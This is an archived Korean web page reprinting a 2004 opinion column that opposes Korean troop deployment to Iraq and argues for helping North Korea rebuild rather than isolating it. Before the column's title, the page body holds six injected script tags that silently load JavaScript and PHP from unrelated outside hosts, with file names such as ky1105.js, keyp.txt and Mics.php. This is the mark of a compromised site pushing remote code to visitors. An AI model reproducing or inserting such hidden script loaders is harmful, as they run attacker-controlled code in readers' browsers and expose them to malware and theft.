검색

사이트 내 전체검색

자료

문서자료

칼럼 <칼럼>기회와 파멸 사이! 파병정국과 한반도 위기(3)

페이지 정보

작성자 by 관리자 / 작성일04-01-28 15:52 / 조회 4,313 / 댓글0

본문

<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    <칼럼>기회와 파멸 사이! 파병정국과 한반도 위기(3)
                                                                        구교형(분당두레교회 부목사, 개혁연대 집행위원)

나는 이라크에 한국군 파병 자체를 반대한다. 그것은 남의 나라 문제에 우리가 희생할 필요가 없다는 이기적인 판단에서가 아니다. 그것은 미국의 이라크 전쟁이 명분과 의미를 상실한 정의롭지 못한 침략전쟁이기 때문이다. 이는 미국 스스로 이라크와의 전쟁명분으로 내세웠던 것만 살펴봐도 알 수 있다.

미국은 이라크의 대량살상무기를 거론하며 반테러 및 중동평화를 위해 이라크를 공격하지 않을 수 없다고 했으나 전쟁이 끝난 지 반년이 다되도록 이라크 땅 전체를 샅샅이 뒤져봤지만 대량살상무기의 흔적을 발견하지 못했다. 더구나 미국은 100∼200개에 달하는 것으로 추정되는 친미국가 이스라엘 핵무기와 대량살상무기는 전혀 문제삼지 않는 이중성을 보이고 있다.

또한 독재자 후세인의 축출을 내세우며 정당성을 내세운다. 그러나 독재자 후세인과 테러리스트 빈 라덴 조차도 이전 시기 미국의 후원아래 성장했음을 기억해야 하며, 또 미국은 세계 모든 독재자 및 인권 탄압국들을 전쟁을 통해 축출할 권한이 없음을 명심해야 한다.

이라크 파병을 반대한다

그렇기 때문에 대선을 앞두고 미국 행정부가 위기를 느껴 추진하고 있는 다국적군 파병요구도 원칙적으로 명분도, 실리도 없음을 지적한다. 특히 어떤 이들은 미국과의 동맹관계와 우호를 위해서라도 파병해야 한다고 말한다. 우리는 대한민국이 어렵던 시기에 미국이 여러 모로 도와주었던 것을 감사한다. 그러나 그 감사가 잘못된 침략전쟁에 함께 빠져 들어가는 것과 동일시 될 수는 없다는 것을 분명히 해야 한다.

또한 국익을 위한 파병을 말하기도 하지만 실상 국익이라는 말이 구체적인 근거도 없이 일방적인 희망사항에 의존해 있음을 지적하지 않을 수 없다. 우선 미국정부도 스스로 밝히고 있듯이 이라크 파병이 미국의 대북 정책에 우호적으로 작용하리라는 어떠한 보장도 없다. 또한 일각에서는 이라크의 막대한 석유와 전후 복구권을 따내기 위해서라도 파병을 지지한다고 말한다. 그러나 대다수 아랍국가들의 엄청난 반발과 적대감을 고려한다면 경제적 이익의 논리도 일방적 희망사항임을 알 수 있다. 이미 한국인 민간인 희생자가 발생한 지금 본격적인 파병이 이루어진다면, 한국군은 또 다시 베트남에서와 같은 추악한 전쟁에서 불행한 용병으로 희생되어야 할 게 불을 본 듯 뻔하다.

그런 면에서 이라크에서 전사하는 병사들이야말로 정말 불행한 죽음이 아닐 수 없다. 그들은 나라를 위해 죽는 것이 아니다. 자유와 평화를 지키기 위해 죽는 것도 아니다. 석유와 세계패권에 눈이 어두운 강대국과 그 강대국의 하수인이 된 숭미주의자들의 거짓에 속은 불행한 죽음인 것이다. 그러므로 정말 이라크 재건과 미국을 돕고 싶으면 섣부른 파병으로 미련이 생긴 미국을 점점 더 수렁에 빠뜨리지 말고 하루빨리 유엔에 실질적인 책임을 이양하도록 해야 한다.

그런데도 아직 이 땅의 많은 정치인, 지식인들은 미국에 송구한 마음으로 충만해 제 나라 군인의 생명의 소중함은 잊어버린 채, 선뜻 파병결정을 하지 못하던 정부를 "기회주의자"로 몰아붙이고 있다. 정말 한심한 일이다.

지금이 북한 인권문제 따질 때인가

북한은 반인권적 독재정권임에 틀림없다. 김일성 주석이 북한의 주장대로 아무리 빛나는 항일유격활동을 펼쳤다고 하더라도 그것이 지난 반백년 동안의 반인간적 체제를 쌓아간 죄과를 결코 뛰어넘을 수는 없다. 그리고 그 체제는 아들 김정일 정권에 의해서 크게 다르지 않게 연장되고 있다.

그래서 많은 사람들은 말한다. 어설픈 북한 퍼주기(햇볕정책)로 인해 죽어 가는 악한 북한정권의 수명을 연장시키는 것이야말로 정말 반통일이며, 북한독재체제를 지원하는 것이라고. 어느 정도 일리가 있다고 생각한다. 북한 인권문제 물론 제기해야 한다. 그러나 우리는 이 시점에서 무엇이 정말 북녘백성들을 위하는 길인지 곰곰이 따져볼 필요가 있다.

보수강경론자들이 말하듯이 밖에서는 북한정권을 몰아 부쳐 국제사회에서 고립시키고, 탈북자 문제를 국제화하여 대량난민을 일으키고, 안으로부터의 반란이 일어나도록 흔들어대면, 그래서 북한체제가 당장 붕괴하면 정말 북한백성들은 행복해 질까? 아무리 생각해 봐도 나는 자신 있게 "그렇다"라고 말하기 힘들다. 일단 대한민국과 국제사회의 원조로 극단적인 기아상태에서는 벗어나게 될 것이다. 그것은 중요한 일이다. 그러나 그 다음이 문제다.

지금도 대한민국은 중국을 비롯한 해외를 떠도는 탈북자들조차 채 소화하지 못하고 있는데 그런 지경이 되면 예상컨대 2,200만 북녘백성 대부분이 집단 난민이 될 가능성이 크다. 더 좋은 조건과 생활을 위해 대거 남하하는 북한백성들을 누구라서 막을 수 있겠는가?

그러나 그 보다 더 큰 문제는 그렇게 대거 남하한 북한백성들을 맞는 대한민국 국민들의 인내심은 곧 바닥날 것이고, 눈앞에 드러난 하늘과 땅 차이의 경제적, 문화적 격차는 더 빼앗으려는 집단과 어떻게든 지키려는 집단사이의 충돌로 나타날 것이다. 이러한 빈부격차, 생활의 차이, 온갖 차별과 우월감 등이 어우러져 해소할 여력이 없을 때 남북 사이에는 내전이 일어날 가능성조차 생각할 수 있다.

물론 이러한 극단적 시나리오를 제거해 버린다고 해도 지금과 같은 경제력과 사회통합능력으로는 남한이 북한사회를 끌어안기 힘들다. 남북이 함께 살기 위해서라도 우리는 다른 길을 찾아봐야만 한다. 그것이 바로 북한사회의 변화를 전제한 북한의 갱생이다.

북한 재건 돕는 게 평화 위한 길

6자 회담을 통해 결국 북한이 생존보장을 대가로 핵무기 및 군사적 대치구조를 포기하면서 개혁개방하도록 지원한다면, 북한은 변하지 않을 수가 없다. 북한의 안전을 보장해 줌으로써 핵무기뿐 아니라 모든 재래식 전력을 포함한 대규모 군축을 실시함으로써 모든 국가역량을 경제개발과 회생정책에 집중하도록 여건을 마련해 주어야 한다.

국제사회에서 지원된 공적자금이 북한사회의 기초를 다시 놓고, 합작 및 합영회사 등을 통해 생산된 상품을 수출하며, 그들이 생산한 곡물로 백성들의 생존이 가능해 질 때, 북한은 더 이상 전쟁에 의존할 수 없는 사회로 조금씩 바뀌어갈 것이다.

남북한의 정치적 통합이 이루어지기 전에 북한의 공장들이 다시 돌아가야 한다. 식량자립기반이 다시 확충되어야 한다. 그것을 위해 힘에 지나도록 지금부터 돕는 것이 비상사태가 발생했을 때 쏟아 부어야할 통일비용보다 훨씬 가볍다. 북한을 고사시키고서는 남한을 포함한 한반도 전체는 결코 살아날 수 없다.

또 북한체제에 대한 거부감의 강조는 분명히 그 백성들을 포함한 북한전체에 대한 냉소와 거부감으로 자리 잡고 있다는 것 또한 엄연한 사실이다. 대다수 우리 국민들의 마음속엔 동포로서의 의미보다는 불쌍하고 가난하고 귀찮은, 어쩌면 우리 몫을 많이 떼어갈지 모르는 빈민집단으로서의 북한사람들에 대한 인상이 굳어져 가고 있다. 그것은 이제 2천명 남짓한 정착 탈북자들에 대한 시선만 보아도 잘 알 수 있다.

나는 북한정권의 반인륜적 실패에 대해 언젠가 책임을 묻는 작업이 있어야 한다고 믿는다. 그러나 지금은 아니다. 이미 독이 오를 대로 올라있는 북한정권이 엄연히 존재하고 있고, 또 카운터 파트인 남한의 책임도 규명되어야 하는 만큼, 어차피 갈라진 어느 한쪽의 입장을 일방적으로 대변할 수밖에 없는 지금은 객관성을 확보하기 어렵다고 보기 때문이다.

조선일보의 논리처럼 남북정상의 만남을 논하기 전에 한국전쟁과 50년 공산독재에 대한 김일성의 책임을 규명하고 87년 KAL기 폭파사건 책임자 김정일을 국제테러집단 수괴로 재판해야 한다면, 마찬가지로 일제청산을 포기하고 친일파들을 다시 재건하고 허무한 북진통일론만 외치다 대한민국을 전쟁으로 몰아넣은 또 다른 전쟁 책임자 이승만과 40년 우익독재와 냉전적 기득권 층에 대한 객관적인 평가와 검증도 함께 이뤄져야 한다.

"바퀴벌레와 살충제 장수"라는 비유

바퀴벌레가 유난히 많이 나오는 집이 있었다. 잡아도 잡아도 바퀴벌레는 끊임없이 나온다. 주인은 하다 못해 살충제를 구입한다. 살충제를 뿌리면 한동안 바퀴벌레가 줄어든다. 그런데 그 때 뿐이다. 여전히 바퀴벌레는 박멸되지 않는다. 그 이유는 집안 환경이 더럽기 때문이다. 그 집의 해묵은 쓰레기를 치우고 환경을 개선하지 않는 한 바퀴벌레는 결코 박멸되지 않을 것이다. 그러나 살충제 장수는 결코 그 사실을 말해주지 않는다. 왜냐하면 바퀴벌레가 있어야 살충제를 팔 수 있기 때문이다.

공산주의는 사회가 병들었기 때문에 생긴다. 그 말을 바꾸면 사회가 건강하고 공의로워지면 공산주의가 발붙일 곳이 없다는 말이다. 그런데 사회의 건강성에 대한 노력은 별로 기울이지 않으면서 공산주의자들만 때려잡겠다고 하는 것은 효과도 없을뿐더러 살충제 장수처럼 또 다른 속셈을 의심하게 한다. 남북엔 기득권자들이 있다. 그리고 그들은 서로 증오하고 적대하지만 또 한편 상대가 있기 때문에 자기의 입지도 굳어지는 것이다. "전쟁 나면 남한은 불바다 된다"고 협박하는 북의 강경파가 있기 때문에 "빨갱이는 새끼들도 용납할 수 없다"는 남의 강경파가 있는 것이고, 역시 남쪽의 기득권층들이 제 것은 조금이라도 희생할 수 없다고 움켜쥐고 있기 때문에 북쪽에도 기득권층이 힘을 잃지 않는 것이다.

황장엽이라는 분이 있다. 그는 마지막 남은 생애를 오직 북한 민주화와 민족통일이라는 대업에 바치기 위해 과감히 북한을 탈출한 분이다. 그는 "한국-미국-일본의 동맹 강화로 중국-러시아-북한의 동맹을 와해시켜야 한다", "반미·친북 세력은 민족의 적, 통일의 적이다", "미국의 MD계획을 무조건 지지해야 한다", "김정일 독재와 한국 민주주의, 김정일 정권과 북한주민은 양립할 수 없다", "김정일의 도발을 저지하려면 핵무기 사용도 불사하겠다고 선언해야 한다"는 등의 통일전략을 말했다(월간조선 2001년 9월호).

나는 적어도 그 분이 누구보다 북한정권 수뇌부의 사정을 더 잘 알 수 있다고 생각한다. 그러나 황장엽 씨와 그의 입을 통해 냉전을 이어가려는 조선일보가 간과하지 말아야 할 사실이 있다. 적어도 남한의 지난 50년 역사와 현실을 그는 너무나도 모른다는 것이다. 그는 "나는 역사의 진실을 보았다"고 말하지만 그것은 반쪽만의 진실일 수 있다. 그가 생각하는 것처럼 남한도 그렇게 단순하고 만만한 사회는 아니다.

북한 땅을 바라보면서 우리는 적어도 그들보다 나으니까, 아무 소리하지 말고 그저 우리 체제를 지지하라는 것은 옳지 않다. 어차피 민족통합의 주도권은 대한민국에 있다. 그렇기 때문에 우리는 남북한과 재외동포들까지 끌어안을 수 있는 성숙하고 건강한 사회로 거듭나도록 더욱 개혁되어야 한다.

자본주의든 사회주의든 그 자체가 하나님을 인정하거나 부인하지는 않는다. 현실 사회주의가 유물론의 방법으로 사회를 분석하므로 무신론과 가까운 것은 사실이나 본래 사회주의 자체가 무신론이나 반기독교는 아니다. 마찬가지로 자본주의 자체도 결코 민주주의의 동의어가 아니며 하나님을 존중하기 위해 선택된 체제도 아니다. 오히려 자본주의는 돈이 지배하는 세상이다. 자본주의는 돈만 된다면 하나님 아니라 하나님의 할아버지도 다 받아들인다.

그러므로 만약 기독교가 반공이어야 한다면 당연한 논리로 동시에 반자본주의이어야 한다. 그리스도인은 한편의 체제를 일방적으로 대변하는 일은 없어야 한다. 민족은 하늘이 주신 것이지만, 체제는 필요에 따른 일시적인 선택이기 때문이다. 자유민주주의는 현재 우리에게 유익함이 많은 체제이지만 결코 완전한 성역도 아니며, 더구나 하나님께서 주신 유일한 체제의 형태도 아니다.

마음을 열고 시시비비를 가리자

지금까지의 내 생각들이 다 옳다고 나는 결코 주장할 자신이 없다. 내가 정말 말하고 싶은 것은 우리가 개혁을 말하고, 통일을 말할 수 있으려면 처음부터 반미, 반북, 친미, 친북을 주장하기 위해서 누구나 알고 있는 당연한 사실들을 의도적으로 감추어서는 안 된다는 것이다. 그러나 우리 사회에서 대한민국과 미국의 잘못을 말하는 이른바 좌파들은 북한체제와 인권문제를 의도적으로 숨기려하고, 반대로 북한의 반인권적 체제모순을 말하려는 이른바 우익들은 우리체제만 선이고 미국은 영원한 수호신처럼 진실을 가리고 있다.

정말 민족을 사랑하고 백성들을 위한다면 우리는 거짓에 의존할 수 없다. 기득권을 내려놓아야 한다. 지금 어느 때보다 어려운 민족의 문제들을 놓고 세대와 세대가, 보수와 진보가 격돌하고 있지만 이러한 원칙만 분명히 한다면 만나지 못할 이유도 없다. 지금 마음을 열어놓고 우리민족과 세계평화 문제들의 시시비비를 가리자.


*뉴스앤조이(2004/01/28)
  • 페이스북으로 보내기
  • 트위터로 보내기